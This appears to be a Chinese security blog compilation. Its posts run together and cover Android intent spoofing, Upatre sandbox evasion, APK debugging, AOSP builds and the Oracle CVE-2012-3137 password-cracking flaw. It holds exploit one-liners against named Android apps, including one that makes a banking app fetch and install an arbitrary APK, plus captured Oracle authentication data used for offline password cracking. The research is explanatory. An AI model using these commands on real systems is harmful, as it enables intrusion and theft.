0%

1. 默认启用 Cgroups V2

nozuonodie, 升级到 Fedora 31 后, CgroupsV2 已经默认开启,理由是原来不是默认开启没人用,现在让 Fedora 用户先当当小白鼠,
于是 Docker 就倒下了。http://t.cn/Ai1sI5LH grub2 配置文件 /etc/default/grub, 内核参数添加 systemd.unified_cgroup_hierarchy=0
可以重新开启 CgroupsV1 ​​​​

2. 默认的 Python 为 Python3

https://fedoraproject.org/wiki/Changes/Python_means_Python3

唉,不得不说 Fedora 这次有点太激进了, 搞得我编译 chromium 又出问题了。 要换回去有个歪招

ln -s /usr/bin/python2 /usr/local/bin/python

0. Android的安全模型

  • application sandbox
  • selinux
  • permissions
  • application signing

正是因为Application sandbox的存在,App进程之间是相互隔离的。有下面一个场景一个
App需要调用weixin来分享内容,如何处理?这就需要用到intent,告诉Android系统你的
意图是什么,Android系统将调用相应的处理程序来处理。

Intent 是一个将要执行的动作的抽象的描述,一般来说是作为参数来使用,由Intent来协
助完成android各个组件之间的通讯。比如说调用startActivity()来启动一个activity,或
者由broadcaseIntent()来传递给所有感兴趣的BroadcaseReceiver, 再或者由
startService()/bindservice()来启动一个后台的service.所以可以看出来,intent主要
是用来启动其他的activity 或者service,所以可以将intent理解成activity之间的粘合剂。

1. Intent

Intent有两种类型,Explicit Intent 和 Implicit Intent。

  • Explicit Intent

明确指定Intent的名字(全类名),当你使用Explicit Intent 启动Activity或者启动 Service,
Android系统会立即启动Intent对象所指定的Component。

  • Implicit Intent

指定Intent的ACTION,当你使用Implicit Intent,Android系统将通过比较 App Manifest
文件中所定义的Intent filter来启动符合要求的Component。如果只有一个Intentfilter
被匹配成功,系统将启动对应的Component,并递送Intent Object。如果有多个intent
filter是兼容的,系统将显示一个dialog,用户可以选择需要使用的component

下面用代码说明这两种Intent

Explicit Intent

1
2
3
Intent downloadIntent = new Intent(this, DownloadService.class);
downloadIntent.setData(Uri.parse(fileUrl));
startService(downloadIntent);

Implicit Intent

1
2
3
4
5
6
7
8
9
Intent sendIntent = new Intent();
sendIntent.setAction(Intent.ACTION_SEND);
sendIntent.putExtra(Intent.EXTRA_TEXT, textMessage);
sendIntent.setType(HTTP.PLAIN_TEXT_TYPE); // "text/plain" MIME type

// Verify that the intent will resolve to an activity
if (sendIntent.resolveActivity(getPackageManager()) != null) {
startActivity(sendIntent);
}

2. Intent Spoofing

Android Intent Spoofing是一个比较常见的问题。如果Android组件(component,service
receiver)是导出的话(exported=true),恶意程序可以使用 Explicit Intent向这个组件
发送Intent,Android无法识别这个 Intent是谁发送的,将会正常的执行请求的操作。

从上面的描述中可以发现,关键是 component要是导出的,而Android的component的导出的
默认值并不是固定的,这点我们从Google提供的文档可以证实。

http://developer.android.com/guide/topics/manifest/receiver-element.html

android:exported

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Whether or not the broadcast receiver can receive messages from sources outside
its application — "true" if it can, and "false" if not. If "false", the only messages
the broadcast receiver can receive are those sent by components of the same
application or applications with the same user ID.

The default value depends on whether the broadcast receiver contains intent filters.
The absence of any filters means that it can be invoked only by Intent objects
that specify its exact class name. This implies that the receiver is intended
only for application-internal use (since others would not normally know the class name).
So in this case, the default value is "false". On the other hand, the presence
of at least one filter implies that the broadcast receiver is intended to receive
intents broadcast by the system or other applications, so the default value is "true".

This attribute is not the only way to limit a broadcast receiver's external exposure.
You can also use a permission to limit the external entities that can send it
messages (see the permission attribute).

我写了一个程序测试具体的情况。

AndroidManifest.xml

1
2
3
4
5
6
7
8
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<receiver
android:name=".PhoneReceiver"
android:enabled="true">
<intent-filter>
<action android:name="com.nsfocus.test" />
</intent-filter>
</receiver>

测试程序注册了一个Receiver,这个Receiver处理 com.nsfocus.test Implicit Intent
包含了一个Intent Filter,在AndroidManifest.xml中没有明确声明这个reciever是导出的
还是未导出的。

receiver 的代码为

1
2
3
4
5
 public void onReceive(Context context, Intent intent) {
Toast.makeText(context, "Get it", Toast.LENGTH_LONG).show();

}
}

使用adb shell中发送广播

1
adb shell am broadcast -a com.nsfocus.test

可以看到Get it 的提示信息,也就是说 component 处理 Implicit Intent 时默认是
exported=true 的,这就是问题的关键。

下面修改代码改成 exported=false,看看是什么情况。

AndroidManifest.xml

1
2
3
4
5
6
7
8
<receiver
android:name=".PhoneReceiver"
android:enabled="true"
android:exported="false">
<intent-filter>
<action android:name="com.nsfocus.test" />
</intent-filter>
</receiver>

receiver 照样可以收到,显示”Get it”,所以在receiver里做校验是非常有必要的。因为
无论exported如何设置,只要里面包含了Intent Filter 就可以接受到消息。

2.1 一般解决方案

如果设置了 intent-filter,可以利用 android:permission 属性来要求广播发送者所
需要具有的必要权限,这样才不会产生权限绕过问题。

比如我在.PhoneReceiver里要实现收短信的功能,就应该写成这样

1
2
3
4
5
6
7
8
9
<receiver
android:name=".PhoneReceiver"
android:enabled="true"
android:permission="android.permission.SMS_RECEIVED"
android:exported="false">
<intent-filter>
<action android:name="android.intent.action.PHONE_STATE" />
</intent-filter>
</receiver>

这样广播发送者需要声明** android.permission.SMS_RECEIVED **权限,不然.PhoneReceiver就不
处理了,修改后测试发现确实收不到了。

2.2 漏洞实例

启用手机GPS

1
2
3
4
5
Intent intent = new Intent();
intent.setClassName("com.android.settings", "com.android.settings.widget.SettingsAppWidgetProvider");
intent.addCategory("android.intent.category.ALTERNATIVE");
intent.setData(Uri.parse("custom:3"));
mContext.sendBroadcast(intent);

上面这个例子是通过广播的方法进行攻击的,攻击的目标是com.android.settings.widget
Android并未提供操作GPS的API,但是通过上面这个方法却可以控制GPS的开关。而且更有趣
的是我们并没有声明任何和Location相关的权限 :)

widget是Android提供的桌面的小插件,就和KDE的之类的插件类似,可以通过Google提供的
API来开发。

custom:3 这个字符串比较诡异,其实可以在Android 的代码中找到

/com/android/settings/widget/SettingsAppWidgetProvider.java

1
2
3
4
5
private static final int BUTTON_WIFI = 0;
private static final int BUTTON_BRIGHTNESS = 1;
private static final int BUTTON_SYNC = 2;
private static final int BUTTON_LOCATION = 3;
private static final int BUTTON_BLUETOOTH = 4;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
@Override
public void onReceive(Context context, Intent intent) {
super.onReceive(context, intent);
String action = intent.getAction();
if (WifiManager.WIFI_STATE_CHANGED_ACTION.equals(action)) {
sWifiState.onActualStateChange(context, intent);
} else if (BluetoothAdapter.ACTION_STATE_CHANGED.equals(action)) {
sBluetoothState.onActualStateChange(context, intent);
} else if (LocationManager.MODE_CHANGED_ACTION.equals(action)) {
sLocationState.onActualStateChange(context, intent);
} else if (ContentResolver.ACTION_SYNC_CONN_STATUS_CHANGED.equals(action)) {
sSyncState.onActualStateChange(context, intent);
} else if (intent.hasCategory(Intent.CATEGORY_ALTERNATIVE)) {
Uri data = intent.getData();
int buttonId = Integer.parseInt(data.getSchemeSpecificPart());
if (buttonId == BUTTON_WIFI) {
sWifiState.toggleState(context);
} else if (buttonId == BUTTON_BRIGHTNESS) {
toggleBrightness(context);
} else if (buttonId == BUTTON_SYNC) {
sSyncState.toggleState(context);
} else if (buttonId == BUTTON_LOCATION) {
sLocationState.toggleState(context);
} else if (buttonId == BUTTON_BLUETOOTH) {
sBluetoothState.toggleState(context);
}
} else {
// Don't fall-through to updating the widget. The Intent
// was something unrelated or that our super class took
// care of.
return;
}

// State changes fall through
updateWidget(context);
}

可以发现无法对广播的发送者进行校验,收到广播就执行相关的动作。

江苏银行手机银行下载安装任意apk(可木马)

http://www.wooyun.org/bugs/wooyun-2010-0104992

AndroidManifest.xml

1
2
3
4
5
<service android:name=".UpdateService">
<intent-filter>
<action android:name="cn.jsb.china.UpdateService" />
</intent-filter>
</service>

UpdateService.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public int onStartCommand(Intent arg6, int arg7, int arg8) {

Bundle v0 = arg6.getExtras();

if(v0 != null) {
this.a = v0.getBoolean("isupdate");
}

this.b = arg6.getStringExtra("url");
this.c = this.getSystemService("notification");
this.d = new Notification();
this.d.icon = 17301633;

if(this.a) {
this.i = new RemoteViews(this.getPackageName(), 2130903048);
this.d.tickerText = "正在下载江苏银行";
}

else {
this.i = new RemoteViews(this.getPackageName(), 2130903043);
this.d.tickerText = "正在下载手机证券";
}

this.d.when = System.currentTimeMillis();
this.d.flags |= 2;
this.d.flags |= 32;
this.d.defaults = 4;
this.d.contentView = this.i;
this.d.setLatestEventInfo(((Context)this), "", "", PendingIntent.getActivity(((Context)this),
0, arg6, 0));

this.c.notify(this.j, this.d);
this.g = new jn(this, Looper.myLooper(), ((Context)this));
this.g.sendMessage(this.g.obtainMessage(3, Integer.valueOf(0)));
new jm(this, this.b).start();

return super.onStartCommand(arg6, arg7, arg8);

}

利用代码

1
am startservice -n cn.jsb.china/.UpdateService --ez isupdate true --es url http://192.168.102.204/mijian_2.5.1_272.apk

美团外卖客户端本地拒绝服务漏洞

http://www.wooyun.org/bugs/wooyun-2010-0106580

利用代码

1
adb shell am startservice -n com.sankuai.meituan.takeoutnew/com.sankuai.mtmp.service.MtmpService

航旅纵横手势锁轻易绕过及其它漏洞

http://www.wooyun.org/bugs/wooyun-2010-0111692

利用代码

1
am start com.umetrip.android.msky.app/com.umetrip.android.msky.activity.MainActivity

参考链接

Upatre 使用了一些新的逃逸技术来逃逸动态沙盒引擎的检查,这些技巧都非常的简单,但
是非常的有效果。事实上,VirusTotal上Upatre的检出率并不高,新变种出来基本都检测不
出来,说明现在的恶意软件对付杀毒软件是越来越有办法了。

目前在恶意软件上加壳倒是越来越少了,因为加壳容易引起杀软引擎的注意,相反地目前的
恶意软件大量使用边执行边修改自身代码的方法来躲避杀软,不执行的话看起来就像是一个
正常的软件,而真正执行起来代码却全变了,这也算是一种进化。

下面说说两种最近遇到的沙盒逃逸的办法,样本md5: ac3558b973402ef6a27e03c391f20533

检查开机时间

一般使用沙盒的分析引擎的做法都是安装一个全新的系统,做系统镜像。然后在检查的时候
加载镜像,执行样本。而开机的时间往往都被忽略了,基本都不会超过10分钟。

Upatre 样本所采取的方法是利用GetTickCount 获取开机的毫秒数,当开机时间小于12分钟
是就不执行恶意的行为。

1
2
3
4
5
6
7
004013B3    BB D8FE0A00         MOV EBX,0AFED8
004013B8 FF55 DC CALL DWORD PTR SS:[EBP-24] ; kernel32.GetTickCount
004013BB 3BC3 CMP EAX,EBX
004013BD 0F82 6F020000 JB 00401632

00401632 6A 00 PUSH 0
00401634 FF55 F4 CALL DWORD PTR SS:[EBP-C] ; kernel32.ExitProcess

0xAFED8 是 720600毫秒 12分钟多一点,不到进程退出了。

检查鼠标位置

Upatre样本使用的第二种沙盒逃逸的方法是检查鼠标位置的变化,动态沙盒分析系统大多是
自动化的系统,也就是不使用鼠标,如果Upatre样本检查到鼠标的位置没有发生变化,同样
不会执行恶意行为。

1
2
3
4
5
6
7
8
9
10
0040197C   8D85 04FFFFFF       lea eax,dword ptr ss:[ebp-0xFC]
00401982 50 push eax
00401983 FF95 20FFFFFF call dword ptr ss:[ebp-0xE0] ; user32.GetCursorPos
00401989 8D85 0CFFFFFF lea eax,dword ptr ss:[ebp-0xF4]
0040198F 50 push eax
00401990 FF95 20FFFFFF call dword ptr ss:[ebp-0xE0] ; user32.GetCursorPos
00401996 8B85 04FFFFFF mov eax,dword ptr ss:[ebp-0xFC]
0040199C 8B9D 0CFFFFFF mov ebx,dword ptr ss:[ebp-0xF4]
004019A2 39D8 cmp eax,ebx
004019A4 74 D6 je short 62.0040197C

只要鼠标一动就退出循环,继续往下执行。

总结

最近出现的样本在反动态沙盒检测方面明显地进化了,针对性极强,不再局限于古老的
IsDebuggerPresent,而是利用PEB检查CPU核数等技术办法来检测,沙盒对抗估技术在后面
的日子里一定会更加迅速的进化。

致谢

非常感谢西安研究中心的同事提供的样本,同时感谢同事lzx在样本分析时给予的大力支持。

Apk无源码调试的方法有很多,现在发现使用Android Studio 结合 JEB 感觉良好,
主要是参考 http://www.jianshu.com/p/c7899e5ea182 这篇记录下了具体步骤。

1. 下载 smalidea

https://bitbucket.org/JesusFreke/smali/downloads/smalidea-0.03.zip

在Android studio的插件仓库中没有找到这个插件,需要下载本地安装
File -> Settings -> Plugins -> Install plugin from disk 选择下载的插件,重启后生效。

2. apktool 输出源码文件

https://github.com/iBotPeaches/Apktool/releases/download/2.2.0/apktool_2.2.0.jar

1
java -jar apktool_2.2.0.jar d -f xx.apk -o xx

如果正常的将输出 smali 源码文件

3. Android Studio 导入源码

File -> New -> import project 选择刚才导出的xx文件夹

4. 增加Android Stuido的调试选项

Android Studio 界面上选择 Run-> Edit Configurations,点击+号,新建remote类型调试
器,默认的监听端口为5005,如果默认端口被占用则需要修改端口号。

5. 以调试模式启动应用

1
adb shell am start -D -n aa.bb/.activity

进程将挂起,aa.bb是package name,.activity 是要启动的activity 一般指定MainAcvitiy即可

6. 建立调试通道

1
adb shell ps | grep aa.bb

获得调试进程的pid

1
adb forward tcp:5005 jdwp:debug_process_pid

执行命令后,可以看到adb监听本地5005 端口。

1
2
> netstat -antp | grep 5005
tcp 0 0 127.0.0.1:5005 0.0.0.0:* LISTEN 4728/adb

7. 设置断点,调试

点击源码左侧栏可以设置断点,点击工具栏上的debug (一个小虫的按钮),开始调试。在
这个步骤上我遇上了一个错误。

java.io.IOException “handshake failed - connection prematurally closed”

这个错误是因为adb版本问题,取消Android内部的adb集成就可以了。具体方法是
Tools -> Android -> Enable adb integration 取消掉前面的勾就可以了。

如果看到Connected to the target VM, address: ‘localhost:5005’, transport: ‘socket’ 就大功告成了。

8. 其他一些说明事项

要调试apk程序是有一些要求的,下面几种情况可以调试apk程序。

  • /default.prop ro.debuggable=1

我的手机就属于这种情况

1
2
getprop  | grep ro.debug
[ro.debuggable]: [1]
  • APK 中AndroidManifest.xml 有这句 android:debuggable=true

☆ 1. 下载源码

由于众所周知的原因,国内访问 Android 源码不大方便, 清华大学做了一件好事, 弄了个 mirror。

https://mirrors.tuna.tsinghua.edu.cn/help/AOSP/

下载 repo

Google 自己搞一个源码同步工具,需要下下载。

1
2
3
4
mkdir ~/bin
PATH=~/bin:$PATH
curl https://storage.googleapis.com/git-repo-downloads/repo > ~/bin/repo
chmod a+x ~/bin/repo

上面命令,下载 repo 并将 ~/bin 加入 PATH 环境变量

使用每月更新的初始化包

1
2
3
4
5
6
wget -c https://mirrors.tuna.tsinghua.edu.cn/aosp-monthly/aosp-latest.tar # 下载初始化包
tar xf aosp-latest.tar
cd AOSP # 解压得到的 AOSP 工程目录
# 这时 ls 的话什么也看不到,因为只有一个隐藏的 .repo 目录
repo sync # 正常同步一遍即可得到完整目录
# 或 repo sync -l 仅checkout代码

使用这个初始包的好处挺多,应该可以减少一些网络 IO

编译特定版本的 Android

1
2
repo init -u https://aosp.tuna.tsinghua.edu.cn/platform/manifest -b android-4.0.1_r1
repo sync

其中版本号的对应关系可以从这个页面获得:

https://source.android.com/setup/start/build-numbers

下载对应设备的 Driver Binary

Pixel 2 就直接可以看这个 https://developers.google.com/android/drivers#walleye
目前最新的两个链接为:

将这两个文件在 aosp 根目录解压

1
2
tar zxvf google_devices-walleye-pq2a.190305.002-78f45eb0.tgz
tar zxvf qcom-walleye-pq2a.190305.002-a7c70412.tgz

将得到两个文件 extract-google_devices-walleye.shextract-qcom-walleye.sh
这两个文件为自解压文件,直接执行即可。

1
2
./extract-google_devices-walleye.sh
./extract-qcom-walleye.sh

☆ 2. 编译源码

切换到 aosp 根目录

1
2
3
4
make clobber
source build/envsetup.sh
lunch aosp_arm-eng
make -j4

执行 lunch 可以看到支持的各种 build, 自行选择即可。
编译成功后,将在 out/target/product/walleye/ 目录下生成镜像文件。

1
2
3
4
5
6
7
8
9
-rw-rw-r-- 1 henices henices   33554432 3月   8 01:55 boot.img
-rw-rw-r-- 1 henices henices 8388608 3月 7 17:56 dtbo.img
-rw-rw-r-- 1 henices henices 1570048 3月 8 01:55 ramdisk.img
-rw-rw-r-- 1 henices henices 8721730 3月 8 01:55 ramdisk-recovery.img
-rw-rw-r-- 1 henices henices 1175523656 3月 8 02:17 system.img
-rw-rw-r-- 1 henices henices 84722016 3月 8 02:15 system_other.img
-rw-rw-r-- 1 henices henices 4952764 3月 8 01:28 userdata.img
-rw-rw-r-- 1 henices henices 4096 3月 8 02:17 vbmeta.img
-rw-r--r-- 1 henices henices 369635536 3月 7 16:42 vendor.img

☆ 3. 注意事项

清华这个 mirror 是定时同步的,所以实时性并不好,如果遇到某个特定版本下载失败,
可以等待一段时间后,再重新执行同步命令。编译时需要的内存比较大,小内存可能导致编译失败,
另外,如果在虚拟机里编译的话,记得多设置几个CPU核,这样编译速度会快一些。

参考资料

1
2
3
4
5
6
7
8
9
10
11
12
13
NSFOCUS ID:    20847
BUGTRAQ ID: 55651
CVE ID: CVE-2012-3137
远程漏洞: 是
本地漏洞: 是
漏洞类型:
漏洞影响: 远程攻击者可以密码进行离线密码暴力破解
危险指数: 高
创建时间: 2012-9-27
更新时间:
攻击代码: 无

跟踪工程师: zz

漏洞概述:

Oracle是一款广泛被使用的商业数据库。

Oracle O5LOGON认证协议存在漏洞,这个漏洞可以使攻击者离线暴力破解Oracle数据库密码,
从而访问受保护的Oracle数据库中的数据。要利用这个漏洞攻击者只需要知道一个合法的
数据库用户名和一个正确的数据库名(SID),不需要使用中间人攻击。

Martinez Fayo 在2010年5月向Oracle报告了这个问题,Oracle在2011年的中期通过patch
set 11.2.0.3修复了这个漏洞,使用了新版本的协议。但是Oracle没有在 11.1和11.2 中
修复这个问题,因此这些版本仍然存在漏洞。

由于漏洞发生在认证阶段的早期,获取需要的数据后马上断开连接,不会在Oracle数据库
里留下登录日志,因此这个漏洞被称为 “stealth password cracking vulnerability”

细节:

O5LOGON 过程

1
2
3
4
5
6
7
8
         send username
Client -----------------------------> Server

AUTH_SESSKEY AUTH_VFR_DATA
Client <---------------------------- Server

AUTH_SESSKEY AUTH_PASSWORD
Clinet -----------------------------> Server

和这个漏洞相关的两个报文,包含了需要的信息, 如下:

(1) Server -> client

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0000   00 f8 00 00 06 00 00 00 00 00 08 02 00 0c 00 00  ................
0010 00 0c 41 55 54 48 5f 53 45 53 53 4b 45 59 60 00 ..AUTH_SESSKEY`.
0020 00 00 60 35 32 46 43 30 34 42 31 46 46 38 31 31 ..`52FC04B1FF811
0030 30 43 41 31 32 36 33 44 46 35 42 43 36 31 41 37 0CA1263DF5BC61A7
0040 45 35 37 37 34 30 43 38 41 35 31 31 31 44 32 32 E57740C8A5111D22
0050 42 34 31 45 35 33 43 43 31 36 37 46 44 46 32 41 B41E53CC167FDF2A
0060 36 38 37 38 39 35 38 32 30 30 44 39 42 32 42 36 6878958200D9B2B6
0070 41 35 31 43 39 35 44 37 37 39 46 44 45 42 41 42 A51C95D779FDEBAB
0080 42 36 39 00 00 00 00 0d 00 00 00 0d 41 55 54 48 B69.........AUTH
0090 5f 56 46 52 5f 44 41 54 41 14 00 00 00 14 34 33 _VFR_DATA.....43
00a0 45 30 42 45 32 30 42 33 32 42 30 42 42 37 36 45 E0BE20B32B0BB76E
00b0 35 37 25 1b 00 00 04 01 00 00 00 02 00 00 00 00 57%.............
00c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00e0 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 ................
00f0 00 00 00 00 00 00 00 00 ........

(2) server <- client

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
0000   03 73 03 d0 1a 05 0a 09 00 00 00 21 01 00 00 44  .s.........!...D
0010 46 bf bf 0d 00 00 00 ec 42 bf bf d8 53 bf bf 03 F.......B...S...
0020 73 79 73 24 00 00 00 0c 41 55 54 48 5f 53 45 53 sys$....AUTH_SES
0030 53 4b 45 59 20 01 00 00 fe 40 46 41 36 44 43 44 SKEY ....@FA6DCD
0040 30 46 33 38 39 45 39 32 44 31 38 46 38 31 38 38 0F389E92D18F8188
0050 45 43 36 39 33 31 33 42 35 32 34 46 34 32 31 31 EC69313B524F4211
0060 38 34 46 41 45 36 37 39 36 31 33 41 37 32 46 43 84FAE679613A72FC
0070 38 44 46 44 30 41 34 43 37 42 20 42 39 33 41 36 8DFD0A4C7B B93A6
0080 41 43 42 38 45 30 35 42 38 32 35 38 41 30 32 30 ACB8E05B8258A020
0090 44 32 39 35 34 45 43 31 42 36 33 00 01 00 00 00 D2954EC1B63.....
00a0 27 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f '....AUTH_PASSWO
00b0 52 44 c0 00 00 00 40 32 43 35 46 39 35 37 41 36 RD....@2C5F957A6
00c0 35 33 32 41 44 39 31 44 39 31 36 46 34 45 35 46 532AD91D916F4E5F
00d0 41 37 44 32 46 44 41 30 45 36 43 44 46 46 42 41 A7D2FDA0E6CDFFBA
00e0 41 45 44 38 38 33 43 41 46 34 46 32 30 30 43 38 AED883CAF4F200C8
00f0 39 38 33 41 45 33 44 00 00 00 00 18 00 00 00 08 983AE3D.........
0100 41 55 54 48 5f 52 54 54 0f 00 00 00 05 36 36 37 AUTH_RTT.....667
0110 30 38 00 00 00 00 27 00 00 00 0d 41 55 54 48 5f 08....'....AUTH_
0120 43 4c 4e 54 5f 4d 45 4d 0c 00 00 00 04 34 30 39 CLNT_MEM.....409
0130 36 00 00 00 00 27 00 00 00 0d 41 55 54 48 5f 54 6....'....AUTH_T
0140 45 52 4d 49 4e 41 4c 12 00 00 00 06 70 74 73 2f ERMINAL.....pts/
0150 31 38 00 00 00 00 2d 00 00 00 0f 41 55 54 48 5f 18....-....AUTH_
0160 50 52 4f 47 52 41 4d 5f 4e 4d 51 00 00 00 1b 73 PROGRAM_NMQ....s
0170 71 6c 70 6c 75 73 40 68 65 6e 69 63 65 73 20 28 qlplus@henices (
0180 54 4e 53 20 56 31 2d 56 33 29 00 00 00 00 24 00 TNS V1-V3)....$.
0190 00 00 0c 41 55 54 48 5f 4d 41 43 48 49 4e 45 15 ...AUTH_MACHINE.
01a0 00 00 00 07 68 65 6e 69 63 65 73 00 00 00 00 18 ....henices.....
01b0 00 00 00 08 41 55 54 48 5f 50 49 44 0c 00 00 00 ....AUTH_PID....
01c0 04 36 32 32 38 00 00 00 00 18 00 00 00 08 41 55 .6228.........AU
01d0 54 48 5f 53 49 44 15 00 00 00 07 68 65 6e 69 63 TH_SID.....henic
01e0 65 73 00 00 00 00 18 00 00 00 08 41 55 54 48 5f es.........AUTH_
01f0 41 43 4c 0c 00 00 00 04 34 34 30 30 00 00 00 00 ACL.....4400....
0200 36 00 00 00 12 41 55 54 48 5f 41 4c 54 45 52 5f 6....AUTH_ALTER_
0210 53 45 53 53 49 4f 4e 6f 00 00 00 25 41 4c 54 45 SESSIONo...%ALTE
0220 52 20 53 45 53 53 49 4f 4e 20 53 45 54 20 54 49 R SESSION SET TI
0230 4d 45 5f 5a 4f 4e 45 3d 27 2b 30 38 3a 30 30 27 ME_ZONE='+08:00'
0240 00 01 00 00 00 45 00 00 00 17 41 55 54 48 5f 4c .....E....AUTH_L
0250 4f 47 49 43 41 4c 5f 53 45 53 53 49 4f 4e 5f 49 OGICAL_SESSION_I
0260 44 60 00 00 00 20 43 41 41 38 39 33 41 43 30 41 D`... CAA893AC0A
0270 34 33 30 46 41 30 45 30 34 30 30 30 37 46 30 31 430FA0E040007F01
0280 30 31 31 38 35 34 00 00 00 00 30 00 00 00 10 41 011854....0....A
0290 55 54 48 5f 46 41 49 4c 4f 56 45 52 5f 49 44 00 UTH_FAILOVER_ID.
02a0 00 00 00 00 00 00 00 .......
1
2
3
4
AUTH_SESSKEY_SRV: 52FC04B1FF8110CA1263DF5BC61A7E57740C8A5111D22B41E53CC167FDF2A6878958200D9B2B6A51C95D779FDEBABB69
AUTH_SESSKEY_CLI: FA6DCD0F389E92D18F8188EC69313B524F421184FAE679613A72FC8DFD0A4C7BB93A6ACB8E05B8258A020D2954EC1B63
AUTH_PASSWORD : 2C5F957A6532AD91D916F4E5FA7D2FDA0E6CDFFBAAED883CAF4F200C8983AE3D
AUTH_VFR_DATA : 43E0BE20B32B0BB76E57

Oracle O5LOGON 协议介绍

Oracle 11g password hash 算法为, 用户名 sys, 密码 nsfocus

1
2
3
>>> import hashlib
>>> hashlib.sha1('nsfocus' + '\x43\xE0\xBE\x20\xB3\x2B\x0B\xB7\x6E\x57').hexdigest()
'c3d98762d258d4bd92c572065ddea9af38123f88'

可以在Oracle数据中查询:

1
2
3
4
5
6
7
8
9
10
11
SQL> select name, password, spare4 from sys.user$ where name = 'SYS';

NAME PASSWORD
------------------------------ ------------------------------
SPARE4
--------------------------------------------------------------------------------
SYS 0F2417000362F55F
S:C3D98762D258D4BD92C572065DDEA9AF38123F8843E0BE20B32B0BB76E57

password hash: C3D98762D258D4BD92C572065DDEA9AF38123F88
salt : 43E0BE20B32B0BB76E57
  1. client 发送用户名给server
    2 server 判断是否是可用的用户名,如果用户名可用,进入下一步。
  2. Server 加密AUTH_SESSKEY, 取出 salt

使用AES192 CBC 加密AUTH_SESSKEY, key为oralce数据库中的20字节的password hash和4个
零(192bit)。

  1. Server 将加密的AUTH_SESSKEY和AUTH_VFR_DATA 发送给Client
    AUTH_VFR_DATA 为salt

  2. Client计算password hash (通过用户输入的密码), 使用Client计算的password hash
    (加上4个零)为key 使用AES192 CBC算法加密Client AUTH_SESSKEY

  3. Client 计算 Combine_SessKey
    将解密的Server AUTH_SESSKEY 和 Client AUTH_SESSKEY的第17个字节开始的24个字节做异
    或,将异或结果的前16字节做MD5, 后8字节做MD5, 得到Combine_SessKey

  4. Client 使用 Combine_SessKey 加密用户输入的密码明文,得到 AUTH_PASSWORD
    使用算法为AES192 CBC

  5. Client 将加密的Client AUTH_SESSKEY和加密的AUTH_PASSWORD 发送给 Server

  6. Server 使用数据库中的 password hash 解密 Client AUTH_SESSKEY

  7. Server 尝试解密AUTH_PASSWORD 解密成功则认证通过

参看:
http://www.oxid.it/downloads/oracle_tns_aes192_check.txt

这个漏洞是生成server sesskey 时,在末尾添加了8个0x08, 因为salt已知(由服务器返回
),因此我们只需尝试计算SHA-1的password hash,然后利用这个password hash 去解密
server sesskey, 只要末尾是8个0x08 则说明这是正确的server sesskey,此时使用的密
码为正确的密码,原因是

AES 192 加密块长度为128 bit (16 byte), 分组加密如果明文内容不是块长度的整数倍时
需要填充。填充部分的内容为差的字节数,比如11字节的明文,需要在末尾填充5个0x5

从汇编代码里分析server session key 的生成过程,分析的程序为 Oracle.exe 11.2.0.1.0
oracle.exe调用 oran11.ztvo5ke 加密session key

oran11.ztvo5ke -> oracrypt11.ztceenc -> orancrypt11.ztcen

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct e_key {
unsigned char s[2];
unsigned char key[100];
};

struct sess_key {
uint32_t type;
unsigned char key[40];
}

struct pwd_hash {
uint32_t unknown1;
uint32_t hash_len;
unsigned char hash[20];
}

ztvo5ke ( e_key*, sess_key*, pwd_hash*, int);

sess_key.type == 0x1492 ( AES 192 )

plaintext 24 + 16 = 40

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:101BC481                 push    eax        ; unknown structure
.text:101BC482 push edx ; encrypted session key
.text:101BC483 push 28h ; length
.text:101BC485 push ecx ; plaintext session key
.text:101BC486 push 0
.text:101BC488 push ebx ; 0x18
.text:101BC489 push 87004001h
.text:101BC48E call ztceenc ; AES 192
.text:101BC493 add esp, 1Ch
.text:101BC496 mov ebx, eax
.text:101BC498 test ebx, ebx
.text:101BC49A jnz short loc_101BC4B8
.text:101BC49C lea edx, [ebp+var_A4]
.text:101BC4A2 lea eax, [edi+2]
.text:101BC4A5 push eax ; e_key+2
.text:101BC4A6 push [ebp+var_C8]
.text:101BC4AC push edx ; encryted session key
.text:101BC4AD call ztucbtx

ztceenc 运行前后的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
0DC3A4E4                                      40 00 00 00                       
0DC3A4F4 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00..
0DC3A504 0C 4A FE 0C 02 00 00 00 FF FF FF FF 13 00 00 00..
0DC3A514 02 00 00 00 00 00 00 00 14 00 00 00 14 00 00 00..
0DC3A524 44 94 3E 10 00 00 00 00 00 00 00 00 00 00 00 00..
0DC3A534 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00..
0DC3A544 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00..
0DC3A554 7A EF 5B 9E 89 D3 9F 07 62 A8 83 BB C6 4D 9F D9..
0DC3A564 EA 7B 90 1C 49 9B 73 36 BE 60 AF F6 69 A4 ED 37..
0DC3A574 8D 1D B3 B7 60 30 C7 56 00 00 00 00 8C A5 C3 0D..
0DC3A584 C8 B3 13 21 77 BF F6 84 28 3A D6 54 9F 65 96 0B..
0DC3A594 0E 0A E4 60 00 00 00 00 00 00 00 00 00 00 00 00..
0DC3A5A4 18 00 00 00 84 A5 C3 0D E0 3E FE 0C A8 46 A7 0C..
0DC3A5B4 94 77 FE 0C 0C C6 C3 0D 4A EA 50 01 F4 C4 C3 0D..
0DC3A5C4 F8 49 FE 0C 10 FB EC 0D..........................


eax = 0DC3A4F0
edx = 0DC3A514
ecx = 0DC3A554
ebx = 0DC3A5A4


0DC3A4E4 30 00 00 00..
